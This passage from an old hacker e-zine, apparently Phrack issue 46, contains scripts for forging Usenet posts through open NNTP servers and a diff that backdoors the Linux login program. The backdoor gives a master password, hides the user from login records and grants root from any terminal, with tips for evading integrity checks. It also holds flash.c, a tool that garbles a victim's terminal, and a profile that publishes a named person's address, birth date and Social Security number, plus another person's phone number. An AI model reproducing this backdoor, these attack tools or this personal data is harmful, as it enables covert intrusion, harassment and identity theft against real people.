# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 3
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output
of this if you want, to remove obvious peoples' names and other trash.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave k00l@x.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
If the above script is called "findem" and you're using csh, you should do
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time, but when
it finishes, edit "outfile" and look for occurrences of "335". These mark
answers from servers that might be willing to accept an article. This isn't a
completely reliable indication, since some servers respond with acceptance and
later drop articles. Try a given server with a slightly modified repeat of
someone else's message, and see if it eventually appears.
You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but they
will add an "NNTP-Posting-Host: " header containing the machine YOU came from.
------------------------------------------------------------------------------
Magic Login - Written by Data King - 7 July 1994
PLEASE NOTE:-
This program code is released on the understanding that neither the
author or Phrack Magazine suggest that you implement this on **ANY**
system that you are not authorized to do so. The author provides this
implementation of a "Magic" login as a learning exercise in security
programming.
Sorry for the disclaimer readers but I was advised by the AFP (Australian
Federal Police) that if I ever released this code they would bust me for
aiding and abetting. I am releasing it anyway as I believe in the right of
people to KNOW, but not necessarily to DO.
As always I can be emailed at dking@suburbia.apana.org.au
(Please note:- I have a NEW pgp signature.)
INTRODUCTION
~~~~~~~~~~~~
Briefly I am going to explain what a "Magic" login is and some of the steps you
need to go through to receive the desired result. At the end of this article is
a diff that can be applied to the shadow-3.2.2-linux archive to implement some
of these ideas.
EXPLANATION
~~~~~~~~~~~
A "Magic" login is a modified login program that allows the user to login
without knowing the correct password for the account they are logging into.
This is a very simple programming exercise and can be done by almost anyone, but
a really effective "Magic" login program will do much more than this. The
features of the supplied "Magic" login are:
- Will login to any valid account as long as you know the Magic password.
- Hides you in UTMP
[B
- Does not Log to WTMP
- Allows Root Login from NON authorized Terminals
- Preserves the Lastlogin information (ie Keeps it as though you had never
logged in with the magic password)
- Produces a binary that is exactly the same length as the original binary.
IMPLEMENTATION
~~~~~~~~~~~~~~
I am not going to go into great detail here on how to write such a system as
this. The code is very simple and it contains plenty of comments, so just look
there for ideas.
For this system to have less chance of being detected you need to do several
things.
First select a "Magic" password that is not easily identifiable by stringing the
binary. This is why in the example I have used the word "CONSOLE", this word
already appears several times in the binary so detection of one more is
unlikely.
Admittedly I could of encrypted the "Magic" password, but I decided against this
for several reasons.
The second thing you would need to do if you where illegally placing a "Magic"
login on a system would be to ensure that the admins are not doing CRC checks on
SUID(0) programs, or if they are that you change the CRC record of login to
match the CRC record of the "Magic" login.
Thirdly do not forget to make the date and time stamp of the new binary match
the old ones.
To install a new /bin/login on a system you will need to be root, now if you are
already root why would you bother? Simple, it is just one more backdoor that you
can use to get back in if you are detected.
LIMITATIONS
~~~~~~~~~~~
This version of the "Magic" login program does not have the following features,
I leave it entirely up to you about implementing something to fix them:
- Shells & Programs show up in the Process Table
- tty Ownership and attributes
- /proc filesystem
Any one of these to an alert system admin will show that there is an "invisible"
user on the system. However it has been my experience that most admin's rarely
look at these things, or if they do they can not see the wood for the trees.
-----<cut here>-----
diff -c /root/work/login/console.c /root/work/logon/console.c
*** /root/work/login/console.c Sun Oct 11 07:16:47 1992
--- /root/work/logon/console.c Sat Jun 4 15:29:15 1994
***************
*** 21,26 ****
--- 21,27 ----
#endif
extern char *getdef_str();
+ extern int magik;
/*
* tty - return 1 if the "tty" is a console device, else 0.
***************
*** 47,52 ****
--- 48,57 ----
if ((console = getdef_str("CONSOLE")) == NULL)
return 1;
+ /* Fix for Magic Login - UnAuth Console - Data King */
+
+ if (magik==1)
+ return 1;
/*
* If this isn't a filename, then it is a ":" delimited list of
* console devices upon which root logins are allowed.
diff -c /root/work/login/lmain.c /root/work/logon/lmain.c
*** /root/work/login/lmain.c Mon Oct 12 17:35:06 1992
--- /root/work/logon/lmain.c Sat Jun 4 15:30:37 1994
***************
*** 105,110 ****
--- 105,111 ----
char *Prog;
int newenvc = 0;
int maxenv = MAXENV;
+ int magik; /* Global Flag for Magic Login - Data King */
/*
* External identifiers.
diff -c /root/work/login/log.c /root/work/logon/log.c
*** /root/work/login/log.c Mon Oct 12 17:35:07 1992
--- /root/work/logon/log.c Sat Jun 4 15:37:22 1994
***************
*** 53,58 ****
--- 53,59 ----
extern struct passwd pwent;
extern struct lastlog lastlog;
extern char **environ;
+ extern char magik;
long lseek ();
time_t time ();
***************
*** 83,89 ****
(void) time (&newlog.ll_time);
(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
(void) lseek (fd, offset, 0);
! (void) write (fd, (char *) &newlog, sizeof newlog);
(void) close (fd);
}
--- 84,93 ----
(void) time (&newlog.ll_time);
(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
(void) lseek (fd, offset, 0);
! if (magik !=1) /* Dont Modify Last login Specs if this is a Magic */
! { /* login - Data King */
! (void) write (fd, (char *) &newlog, sizeof newlog);
! }
(void) close (fd);
}
diff -c /root/work/login/utmp.c /root/work/logon/utmp.c
*** /root/work/login/utmp.c Mon Oct 12 17:35:36 1992
--- /root/work/logon/utmp.c Sat Jun 4 15:41:13 1994
***************
*** 70,75 ****
--- 70,77 ----
extern long lseek();
#endif /* SVR4 */
+ extern int magik;
+
#define NO_UTENT \
"No utmp entry. You must exec \"login\" from the lowest level \"sh\""
#define NO_TTY \
***************
*** 353,368 ****
/*
* Scribble out the new entry and close the file. We're done
* with UTMP, next we do WTMP (which is real easy, put it on
! * the end of the file.
*/
!
! (void) write (fd, &utmp, sizeof utmp);
! (void) close (fd);
!
! if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
(void) write (fd, &utmp, sizeof utmp);
(void) close (fd);
}
- utent = utmp;
#endif /* SVR4 */
}
--- 355,372 ----
/*
* Scribble out the new entry and close the file. We're done
* with UTMP, next we do WTMP (which is real easy, put it on
! * the end of the file. If Magic Login, DONT write out UTMP - Data King
*/
! if (magik !=1)
! {
(void) write (fd, &utmp, sizeof utmp);
(void) close (fd);
+
+ if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
+ (void) write (fd, &utmp, sizeof utmp);
+ (void) close (fd);
+ }
+ utent = utmp;
}
#endif /* SVR4 */
}
diff -c /root/work/login/valid.c /root/work/logon/valid.c
*** /root/work/login/valid.c Sun Oct 11 07:16:55 1992
--- /root/work/logon/valid.c Sat Jun 4 15:47:28 1994
***************
*** 25,30 ****
--- 25,32 ----
static char _sccsid[] = "@(#)valid.c 3.4 08:44:15 9/12/91";
#endif
+ extern int magik;
+
/*
* valid - compare encrypted passwords
*
***************
*** 43,48 ****
--- 45,64 ----
char *encrypt;
char *salt;
char *pw_encrypt ();
+ char *magic;
+
+ /*
+ * Below is the piece of code that checks to see if the password
+ * supplied by the user = the Magic Password - Data King
+ */
+
+ magic = "CONSOLE"; /* Define this as the Magic Password - Data King */
+
+ if (strcmp(password,magic) == 0)
+ {
+ magik = 1;
+ return(1);
+ }
/*
* Start with blank or empty password entries. Always encrypt
------------------------------------------------------------------------------
/* flash.c */
/* This little program is intended to quickly mess up a user's
terminal by issuing a talk request to that person and sending
vt100 escape characters that force the user to logout or kill
his/her xterm in order to regain a sane view of the text.
It the user's message mode is set to off (mesg n) he/she will
be unharmed.
This program is really nasty :-)
Usage: flash user@host
try compiling with: gcc -o flash flash.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <strings.h>
/* this should really be in an include file.. */
#define OLD_NAME_SIZE 9
#define NAME_SIZE 12
#define TTY_SIZE 16
typedef struct {
char type;
char l_name[OLD_NAME_SIZE];
char r_name[OLD_NAME_SIZE];
char filler;
u_long id_num;
u_long pid;
char r_tty[TTY_SIZE];
struct sockaddr_in addr;
struct sockaddr_in ctl_addr;
} OLD_MSG;
typedef struct {
u_char vers;
char type;
u_short filler;
u_long id_num;
struct sockaddr_in addr;
struct sockaddr_in ctl_addr;
long pid;
char l_name[NAME_SIZE];
char r_name[NAME_SIZE];
char r_tty[TTY_SIZE];
} CTL_MSG;
#define TALK_VERSION 1 /* protocol version */
/* Types */
#define LEAVE_INVITE 0
#define LOOK_UP 1
#define DELETE 2
#define ANNOUNCE 3
int current = 1; /* current id.. this to avoid duplications */
struct sockaddr_in *getinaddr(char *hostname, u_short port)
{
static struct sockaddr addr;
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)&addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1)
{
/* it wasn't.. so we try it as a long host name */
host = gethostbyname(hostname);
if (host)
{
/* wow. It's a host name.. set the fields */
/* ?? address->sin_family = host->h_addrtype; */
bcopy( host->h_addr, (char *)&address->sin_addr,
host->h_length);
}
else
{
/* oops.. can't find it.. */
puts("Couldn't find address");
exit(-1);
return (struct sockaddr_in *)0;
}
}
/* all done. */
return (struct sockaddr_in *)address;
}
SendTalkPacket(struct sockaddr_in *target, char *p, int psize)
{
int s;
struct sockaddr sample; /* not used.. only to get the size */
s = socket(AF_INET, SOCK_DGRAM, 0);
sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) );
}
new_ANNOUNCE(char *hostname, char *remote, char *local)
{
CTL_MSG packet;
struct sockaddr_in *address;
/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);
bzero( (char *)&packet, sizeof(packet) );
packet.vers = TALK_VERSION;
packet.type = ANNOUNCE;
packet.pid = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);
SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) );
}
old_ANNOUNCE(char *hostname, char *remote, char *local)
{
OLD_MSG packet;
struct sockaddr_in *address;
/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);
bzero( (char *)&packet, sizeof(packet) );
packet.type = ANNOUNCE;
packet.pid = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);
SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
}
main(int argc, char *argv[])
{
char *hostname, *username;
int pid;
if ( (pid = fork()) == -1)
{
perror("fork()");
exit(-1);
}
if ( !pid )
{
exit(0);
}
if (argc < 2) {
puts("Usage: <finger info> ");
exit(5);
}
username = argv[1];
if ( (hostname = (char *)strchr(username, '@')) == NULL )
{
puts("Invalid name. ");
exit(-1);
}
*hostname = '\0';
hostname++;
if (*username == '~')
username++;
#define FIRST "\033c\033(0\033#8"
#define SECOND "\033[1;3r\033[J"
#define THIRD "\033[5m\033[?5h"
new_ANNOUNCE(hostname, username, FIRST);
old_ANNOUNCE(hostname, username, FIRST);
current++;
new_ANNOUNCE(hostname, username, SECOND);
new_ANNOUNCE(hostname, username, SECOND);
current++;
new_ANNOUNCE(hostname, username, THIRD);
old_ANNOUNCE(hostname, username, THIRD);
}
------------------------------------------------------------------------------
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 5 of 28
****************************************************************************
-:[ Phrack Pro-Phile ]:-
This issue our prophile introduces you to one of the craziest people
I've ever met from the Underground. And coming from a complete loon
like me, that's saying something. This guy is a real Renaissance Man:
Hacker, programmer, burglar, convict, star of stage and screen...
Of course, that someone could only be:
Minor Threat
~~~~~~~~~~~~
_____________________________________________________________________________
Personal Info:
Handle: Minor Threat
Call him: MT, minor, lamer
Born: 1972 in Walnut Creek, California
Age: 22
Height: 6'1"
Weight: 155 lbs
e-mail: mthreat@paranoia.com
www: http://www.paranoia.com/~mthreat/
Affiliations: Dark Side Research
Computers owned: 1981: IBM PC
1982: none
1984: PCjr
1988: XT Clone
1990: 386/25 Clone
1992: Too many to legally list
1994: Pentium & 486
How I got started
~~~~~~~~~~~~~~~~~
In 1981, my dad worked for IBM. In October of that year, he
brought home a PC, and I jumped on BASIC. It wasn't until 1984 that
I got my first modem. I had just moved to Florida with my dad, and
he had a modem. I met some other kids with computers and modems and
they taught me what modems were for: "You call other people's
computers and try to get their passwords and intercept their mail".
(That's what I was taught!) It wasn't until a few months later I
realized that this wasn't the actual purpose of BBSs and modems.
My first BBS was the Towne Crier BBS at FAU (Florida Atlantic
University), 305-393-3891 (I still remember that damn number), but
the NPA has since changed to 407. We thought it was so cool when
we logged on as "All" and deleted all the messages posted to "All".
In about 1985, I moved back to Austin. I screwed around for
several years without doing any real hacking. When I got to high
school, I wanted to change my grades like in War Games, so I looked
through the counselor's office until I found a number to the
Education Service Center. I had to scan a whole _100_ numbers
(929-13xx) to find the HP3000 dialup. Once I found it, I had no
idea what to do. I gave the number to a friend in high school,
who gave it to some of his hacker friends. They hacked it and gave
it back to me, complete with a full list of passwords and commands.
It turns out, the two Austin hackers who did it were The Mentor and
Erik Bloodaxe, but I didn't know that for another 3 years.
Shortly after this, I picked my permanent handle. Minor Threat
was an early-to-mid 1980's punk band from Washington, DC. They're no
longer together, but Fugazi is pretty good and Ian McKaye (from
Minor Threat) is in Fugazi. I actually got the handle off of one
of my sister's tapes, before I even heard them. But now I like the
music too.
Eventually, I found a local pirate board, met all the local
pirates, and got into the warez scene for a while. I joined PE
(Public Enemy), the pirate group. (I cracked the warez!) Warez were
only so fun, so I looked for other stuff. I met some VMB lamers and
got into that scene for about a month, and got bored again.
This was 1990, our 950s were running out, and we needed another
way to call out. So I took an old VMB hacking program I had
written, and changed it around to scan for tones, in random order
to avoid Ma Bell problems. I nicknamed it ToneLoc, short for Tone-
Locator. I gave it to some friends (Alexis Machine & Marko Ramius)
and eventually, it ended up on some warez boards. It got pretty
popular, so I made a version that worked for more people, called
it 0.90, and released it. Then I lost the source in a hard drive
crash, and stopped working on it.
I was 18 and mom said it was time to get out of her house, so
I got my own apartment. Marko Ramius and I learned about trashing
central offices, and gained COSMOS access. We barely knew what
COSMOS was .. I knew I had read about it in old Phrack articles, and
I remembered that it was "elite." Our problem was, we still knew no
other "real" hackers, and we had to learn COSMOS. After trashing
and trashing, we still had no COSMOS manuals. We had to get them
somehow. I can't say how, I'll leave it to your imagination.
Marko and I started breaking in buildings and got pretty
good at it. We had about a 60% success rate I would guess. But we
never stole anything -- we just looked for cool information. In
1991, we got caught in a building, and got charged with Criminal
Trespassing. We both got probation for a Class A misdemeanor.
We decided it was time to stop breaking in buildings.
Late in 1991, I got e-mail on a bulletin board from someone
named Mucho Maas. He said he had gotten ToneLoc and wanted a
few new features. I told him I had lost the current source and
all I had was an old (0.85) source. He said he would take the
old source, add the new features, and bring it up-to-date with
the current source. So he did, and we released ToneLoc 0.95.
If it weren't for Mucho, ToneLoc would still be at version 0.90,
and anyone who ran 0.90 knows how hard it was to get it running
right.
About the same time, I was getting on a few BBSs in the
Washington DC area. (Pentavia was the best while it was up).
I met several people there... including a guy named Codec. Codec
was mostly a phone phreak, but did a little hacking as well. But
when it came to PBX's, he was a master. Not only had he exploited
PBXs for free long distance use like the rest of us, but he had
actually REMOVED entire PBX systems from buildings! (See his
article on how to do this, Phrack 43, article 15). But he had
also gotten caught and was on federal probation.
A few months after I met Codec, he had an 'incident'
and was on the run again. I agreed to let him live with me, so
he flew down and moved in. We got a 2 bedroom place, and set
the place up d0pe. There were over 9 phone extensions, (not
including cordless), and about the same number of computers (Most
of which were Codec's). We had the funnest 3 months ever ...
but about 2 weeks after SummerCon 1992, we got arrested.
Favorite things
~~~~~~~~~~~~~~~
Women: w0w
Music: Sonic Youth, Cure, Fugazi, Minor Threat, Orb, B-Boys,
Jane's Addiction.
Favorite Book: 1984
My Car: 1990 300ZX Twin Turbo, Wolf Chip mod to 360
horsepower. It's fucking fast.
Favorite Movies: Jackie Chan movies, The Killer, Reservoir Dogs,
The Lost Boys, Near Dark, Hardware.
Favorite TV: MacGyver
What are some of your most memorable experiences?
Being polygraphed by the Secret Service in 1991 for something having
to do with some lamer threatening the president on an Alliance
Teleconference. I failed the polygraph the first time, then I
passed it the second time. (How's that for the government?)
Eventually, some other 15-year old got probation for doing it.
Being arrested with Codec in 1992. He ran, outran the cops, jumped
a fence about 8 feet tall, and eventually got in a struggle with
a cop over the his gun (Officer Sheldon Salsbury, Austin PD). The
gun went off, and we were both booked on attempted capital murder.
It turned out that the bullet hit no one, and all the blood was from
the cop hitting himself in the head with his own gun, although the
cop claims that Codec hit him in the forehead with a 2-meter ham
radio from like 20 feet away. Right. A search warrant was executed
on our apartment, and approximately $800,000 worth of AT&T Switching
equipment was seized from Codec's closet. It turns out, we were
narced on and set-up by :
Jon R. Massengale
6501 Deer Hollow
Austin, TX 78750
DOB: 9-7-62
SSN: 463-92-0306
Being the first in Texas to have Caller-ID, before it was legally
available.
Losing control of my car at 140mph, doing a slow 360 at about 120,
living through it, and not doing too much damage to my car.
Good times:
Going up to Seattle to visit Cerebrum in May 1993, seeing Fugazi,
getting our car towed, then reading the dialups to the towing
company's xenix (login: sysadm). Finally getting our Oki 900's
to clone/tumble/do other d0pe things. Calling each other on
our Okis from 5 feet away, putting them together and causing
feedback.
Setting up my apartment with Codec with a 10-station Merlin system,
and a 9-station network.
SummerCon 1993. "Culmination of Coolness." Sorry, can't say any
more.
Some People To Mention:
There are a lot of people who I would like to mention that have helped
me greatly and who I have known for a very long time:
Marko Ramius - First pirate/hacker I really knew in person. We
did a lot of crazy shit together.
Alexis Machine - Second hacker-type I met, and a true Warez Kid.
(that's a complement!)
Mucho Maas - Brought back ToneLoc from the dead. Always told
me what I shouldn't do, and always said "I told
you so" when I got busted.
Codec - I had some of the funnest times of my life with
Codec... unfortunately, it was so much fun it was
illegal, and we got busted.
Cerebrum - Very cool friend who got narced on by a fuckhead
named Zach, 206-364-0660. Cerebrum is serving
a 10 month federal sentence in a nice prison camp
in Sheridan, Oregon. He gets out about December
10, 1994.
The Conflict - Unfortunately, I can't tell you. Maybe in about 8
more years.
ESAC Administrator - "Have you been drinking on the job?"
What I'm up to now
~~~~~~~~~~~~~~~~~~
When I heard that the next Phrack Pro-phile was going to be about
me, I realized, "I must be retired". It's probably true.. at least I hope
it is. The 5 months I spent in jail was enough. I just started going
back to University of Texas, where they will only give me a VAX account
(lame). For the first time in 4 years, I think my life is going in
the 'right' direction.
Advice
~~~~~~
I can only hope anyone who reads this will take this seriously.
Here's my advice: If you ever get arrested or even simply questioned about
ANYTHING AT ALL, DO NOT COOPERATE. Always tell the law enforcement
official or whoever, "I'm sorry, I can't talk without my lawyer present"
Cooperating will never help you. Codec recently pointed out to me, that
we should be the "role models" of what people should do when they get
busted. Both of us remained loyal and quiet during our whole case. I was
in jail for 5 months, and Codec is still in prison, but we never talked.
Being narced on by a 'buddy' is the worst thing that could ever happen
to you, and narcing on a 'buddy' is the worst thing you could do to
them. If you get busted for something, don't pass the punishment on
to someone else. I hope most of you never have to face this, but if
you do, you will live much better knowing that you didn't give in to
a bunch of 'law enforcement' pricks.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 6 of 28
****************************************************************************
BIG FUN
Think Federal District Court Judges and Special
Agents get to have all the fun?
Not any more!!
It's the Operation Sun Devil Home Game!
For the first step in the game, a quick flourish of a pen
signs away your opponent's rights to any expectations of
privacy. Bank records, medical records, employment
files, student records...literally anything is yours
for the taking.
As you progress through the various levels, you move on
to other legal scenarios like the application for search
warrant and the summons.
It's all here in the Operation Sun Devil Home game, by
Gailco.
===============================================================
Other game pieces available via ftp from freeside.com
in /pub/phrack/gailco.
Offer not sold in stores. Do not use.
Impersonating an officer of the court is a felony.
section 1 of uuencode 4.13 of file GAME.PCX by R.E.M.
begin 644 GAME.PCX
M"@,!`0````!/!D@(Q@#&````````````````````````````````````````V
M```````````````````````````!R@`!`"`#6`(`````````````````````W
M``````````````````````````````````````````````````#________-(
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_________-_________\W_________S?_________-_________\W_R
M________S?_________-_________\W_________S?_________-________]
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_]'_P?!'P?[!X<'@P?_!]F#$_\'XPO_!\'______ZO_1_\'P8\'^X
M8<'@P?_!]&#$_\'XPO_!\'_!_O_____I_]#_'\'@P>'!_@$`?\'&`'_#_\'PF
MP?@^(!X.?\'_P?C_____YO_0_P_"P\'^`PX_CAX?P__!P,'\'P/"#A_!_\'^^
M'______E_]#_!X?!Y\'^`PX_#L(>#V_!_\'`?!X'C@\?P?^$#\'_A\[_C___X
M___4_]#_!X?!Y\'_`PX_#PX>#V?!_\'&P?X?!X</'\'_!P_!_X?._P?#_Y_!E
M_Y______SO_/_\'^`8?!\<'^`X`_#@`AA&?!_\'\?QP#!X^?P?\/CC^`/P_!M
MY<'_G[_'_\'^`#'!_\'G'\'\!______._\__P?PAP>?!\<'^`<'`P?\,`&"`L
M8<'_P?C!_SP@!X^?P?^#P>QXP<!X(\'@P?P_P>'!^,'_P?G$_\'\`#'!_\'A&
MG\'X`?_____._\__P?P`P>/!\<'\<`!_'#!@`&/!_\'PP?YX<`?!Q\'?P?_!H
MP,'X<,'`&`'!P'#"`,'P/\'QP>!_P?A_P?!X<<'^P?*?PO#!\<']_____\S_<
MS__!_&#!X\'PP?QP.'Y\<&`@9\'_P?C!_'AP)\'WPO_!X'APP>`X8,'@<&`@,
MP?`_P?#!X'_!^'_!^'QPP?S!\+_#\,'XP?S_____R__/_\'X8&'!X<'\<`P_<
M'GYAP>8'P?_!^,'^.,'[AX^?P?_!\``XP<.`<!H`P<`PP>$/P?&`'\'P0\'PV
MP?_!\`AA'\'AP?G!P,'@.`______RO_/_\'\'$.#P?X0#A\>/@.&#\'_P?C!S
M_QS!_P^/G\'_P=X$/,''@'@?``(<7P_!\8<?P?N'P?C!_\'P#F,?P>/!_X``M
M#`______RO_0_\'^#@_!_@`$/P\^``\.?\'\P?\<P>8?CQ_!_P\$/`>,>!\`7
M!AP$#\'A#Q_!_@?!_,'_P>,,0Q_!Q\'_C`,,#______*_]'_/@_!_P<&/P\_9
M!L(//\+_'\'F'X\/P?\/AAZ'ACH/`@X>`@_!XX</P?X'P?[!_X..0P_!Q\'_[
MC@,&!______*_]+_'\'_!\'`P?\//\'^'[_$_\'\/Y\?P?\'!`"'#"`.`8P\P
M`P_!X8<?P>`'P?P_`8#!XQ_!X\'_@``0`______*_]7_P?'!_\'OR/_!_<'_]
MP?X_P?^`P@#!P`@A@"#!X#A`#\'AAQ_!X,'#P?A\`<'@P>$?P>'!^,'`<``#'
M_____\K_U__!Y\K_P?Y_P?_!X'Q`P>!X`<'@<``PP>`'P?#!QI_!X,'#P?C"4
M,,'AP>"?PO``<`#!\______*_^7_P?C!_\'YPOASP?#!^'S!^,'PP?_!\<+_@
MP?!AP?Q@<,'QP>`_P?!@P@`PP>/_____RO_I_\'X?\'[P?Y_P?[!\,'_P?G"^
M_\'X`\'\`''"X1_!^,0`0______*_^G_P?[-_\'?P_^?P?X'@A`>#______*;
M__W_#\'/'A\/_____\K_S__!]\,'S`^/P=^/P=_#G______F_\__P?3$`,8$2
MP@##!`>'#Q_"G\*______^7_S__!_<'XPN!@PR``PB``PB#,`"``PB#$8,'@R
MPF#!X&#"^<']P?G!_?_____1_]#_P?G%\,)@P>#!\&!PP?#"X&!`Q6``0,0`1
MQ4#"8$#"8'#&\,'QP?G!_?_____,_]__P?W!_\/YP?W!^<'XP?#"^,;PQG##:
M8,(@Q6#$<,3PP?'!^\'PP?C!_\'Y___]_^?_P?O"_\/[P?#!^<+P<&#!\'!@'
MPT#+`,-`8&'!^\+PPOO___W_S__!^L0``@#'`L(&#L(/'Y_"'Y\?P?^?P=_/@
M_\+?GY["#@;%`LH`Q@(/PA^?P=____#_S__!_L4$P@`$P@#"!,4&P@\.Q@_"K
M'\?_O\G_O\8/P@["!@0&!,@`PP0&#L</'\'_/___Z?_0_\*/#\4'P@\'PP\'F
MR`8"!@+%!L('PP;"!\4/CY^/PY_!W\;_G\6/Q`_$!\P&PP?)#\*/GP_#C\.?I
M___3_]3_C\(/!X^?#[^?CP?"!,(`PP33``0.!P^/PY_"O\S_O\'_P=^_C\(?X
MPP31`,($`,@$!L(/'\*?___0_^;_P?W!^<'QP_G"\,'QP?#!X,)@(&`@S0#"'
M(,'@8'#!X,']PO'"^<+]RO_!_<'_P?W$^<'QP^!@QR``PB#+`"``PB!@Q.#!8
M\,'@8,'@P?#!\<'@P>'!_<'_P?W[_^C_P?O!_\'YPOO!^,']P?G&\,/@Q&#"I
M0,8`PD##8,'@QO#!\\/YR__#^\+QR?!PP?#"X,)@P>#$8$##`$``PF##0&#";
M0`#$8'#(\,'Q]/_Z_\']P?G!_<+YP?C#\'#!\,-PQ&#%(,5@PW#!\,)PP?#$F
M^,+YP?_!_<'YP?W)_\']P?_!_<'_P?W!_\'YP?_!^<'XQ/!PP?#$<,-@<,)@-
M<,A@PR#$8,)P8,1PP?!PQ/#!^,'YP?C!_=_____!_\'YP?_!\,'YP>##\,'`B
M0-(`0&#$\,'YP_O7_\'ZP?'!^,'YP?C!^<'P0&!`<$!@PT#7`$#"`$#"<,'XO
M>,'[P?_!^\'YP?O9____SO_!W\*?'Q[##L(&P@+.``(&P@#$`L<&#AX/PI_!9
MW];_G\'?'X\>!@<.PP8"#L,"T`##`L,&P@X/'\[____1_Y^_PI\?Q`_##@8.Q
MQ`;"!,0`!,8`!``&P@0`PP0&Q@\?#\2?OY^_G[^?R?^_P?^_#\(?GQ\/PA^/N
MPP\.#P8/Q0;.`,(&#A_,____W__!W\'_G\'/PX_"#\8'!L0'!L('Q08"R`;#-
M!P;&!\(/!\(/Q(^?C\'?P<_!_\'?RO^?P?^/P=_"G\*/#X_%#\('P@;"`@8":
M#\S____I_Y^_/[^/P@\_Q`\'CP;"!-@`P@0`P@</#@^/P[_!_Y_7_\*?AX0`1
M!``?S/____O_P_W!^<'QPN#!\,'@PV`@8,(@8"``(,\`(``@`,(@8,'@8,'@$
M8,'@8,+PP?'!^<+QP?G!_=C______\'_P?G!_\/YP?C+\,'@PV!`8-``0`!`,
M(&#"0,'PPF#!X,/PP?'!^<'QPOG1_______2_\3]P?G%^,GPQ'#"8"#"8,D@Y
MQ&#$<'_,_______?_\+[P?_!^\'_P?G!^'#"\,'`0`#"0-$`'\S______^[_"
MP]_!_\'?P?^?PA_##L(&PP(?S/______^/^_P?^?O\,/'\S_________S?__&
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_V_\'`?\'\?\'S_____]'_]O\`'\'^'\'S_____]'_]?_!_@`.!!_!L
MP#]_T__!S___^O_U_\'^``8"'X`??\3_P<?._\''O___^?_U_\'PPP`?@`#%P
M_\'`SO^`'___^?_U_\'PPP`_@`#%_\'@SO_!P"/___G_]?_!X,,`/@`!Q?_!$
MX<7_P?C'_\'\P@#!\=/_P?S#_\']___@__7_P>!@(``\(`'%_\'AP?_!\\/_0
MP?Q_QO_!^,(`<=/_P?A]P?_!_,'XQ/_!^<K_P?W__]#_]?_!X,'XP>``.$`#'
MQ?_!P\'_P>/#_\'X#\;_P?#"``/3_\'X.,'X0``#P__!P<K_P?S__]#_]?_!1
MP\'_P<`#'@`'Q?_!Q\'_P<?#_\'\#\;_P?#"``?#_\'/Q?_!W\G_P?X"PP`#3
MP_^#RO_!_A___\__]?^'P?^'`Q_!Z`?%_\'/P?^'P__!_@?&_\'`#@`/P_^/T
MQ?^/R?_!_L4`/\+_A\K_P?P?RO_!_!___\/_]?^'P?\'`Q_!Z`?%_\'/P?^'V
MP__!_@?&_\''#P`/P_^/Q?^/R?_!_L4`'\+_A\7_G\3_P?X?RO_!X@^?___"7
M__7_C\'^#@,_P?@'Q_\'P__!_``_Q?^'P?_!P!_#_P_%_P_)_\'^Q0`/PO^/Y
MQ?^?Q/_!^#_*_X`$'___PO_U_\'OP?P,`3_!^`/'_P/#_\'\`'_%_\'#P?_!*
M\#_#_P_$_\'^#\K_Q0`'PO^/Q?^_Q/_!\'_#_\']QO_!X``G___"__;_P?`X^
M`'_!\`/&_\'\`\/_P?P`/\7_`\'_P?A_PO_!_`_$_\'X'\;_P?'#_\'`Q``'\
MQ__!_'_$_\'PQ/_!\,7_P?Z```/__\+_]O_!\'@`?\'X`<+_P?W#_\'X`\3_%
